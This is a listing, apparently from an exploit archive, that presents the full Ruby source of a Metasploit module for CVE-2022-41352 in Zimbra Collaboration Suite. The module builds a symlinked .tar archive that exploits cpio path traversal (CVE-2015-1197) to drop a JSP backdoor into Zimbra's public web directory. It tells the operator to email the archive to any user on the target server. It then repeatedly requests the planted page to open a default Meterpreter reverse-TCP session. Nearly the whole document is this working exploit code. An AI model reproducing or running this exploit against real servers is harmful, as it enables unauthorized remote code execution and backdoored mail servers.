Zimbra Collaboration Suite TAR Path Traversal

This Metasploit module creates a .tar file that can be emailed to a Zimbra server to exploit CVE-2022-41352. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in the cpio command-line utility that can extract an arbitrary file to an arbitrary location on a Linux system (CVE-2015-1197). Most Linux distros have chosen not to fix it. This issue is exploitable on Red Hat-based systems (and other hosts without pax installed) running versions Zimbra Collaboration Suite 9.0.0 Patch 26 and below and Zimbra Collaboration Suite 8.8.15 Patch 33 and below.


SHA-256 | ce92bc8cd0b896bbf1bbebcee5677a9a8619813aaba32b6be0cfc98fba18d5b5

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',
'Description' => %q{
This module creates a .tar file that can be emailed to a Zimbra server
to exploit CVE-2022-41352. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.

The core vulnerability is a path-traversal issue in the cpio command-
line utlity that can extract an arbitrary file to an arbitrary
location on a Linux system (CVE-2015-1197). Most Linux distros have
chosen not to fix it.

This issue is exploitable on Red Hat-based systems (and other hosts
without pax installed) running versions:

* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)

The patch simply makes "pax" a pre-requisite.
},
'Author' => [
'Alexander Cherepanov', # PoC (in 2015)
'yeak', # Initial report
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-41352'],
['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],
['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],
['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],
['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],
['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),

# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),
]
)

register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end

def exploit
print_status('Encoding the payload as .jsp')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

# Small sanity-check
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end

# Generate a filename if needed
target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"
symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)

# Sanity check - the file shouldn't exist, but we should be able to do requests to the server
if datastore['TRIGGER_PAYLOAD']
print_status('Checking the HTTP connection to the target')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)

unless res
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
end

# Break when the file successfully appears
unless res.code == 404
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
end
end

# Create the file
begin
contents = StringIO.new
Rex::Tar::Writer.new(contents) do |t|
print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")
t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)

print_status("Adding target file to the archive: #{target_filename}")

t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|
f.write(payload)
end
end
contents.seek(0)
tar = contents.read
contents.close
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")
end
file_create(tar)

print_good('File created! Email the file above to any user on the target Zimbra server')

# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']

register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))

interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")

# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)

unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end

# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
# This should break when we get to session_created?
end

Rex::ThreadSafe.sleep(interval)
end
end
end

Related Posts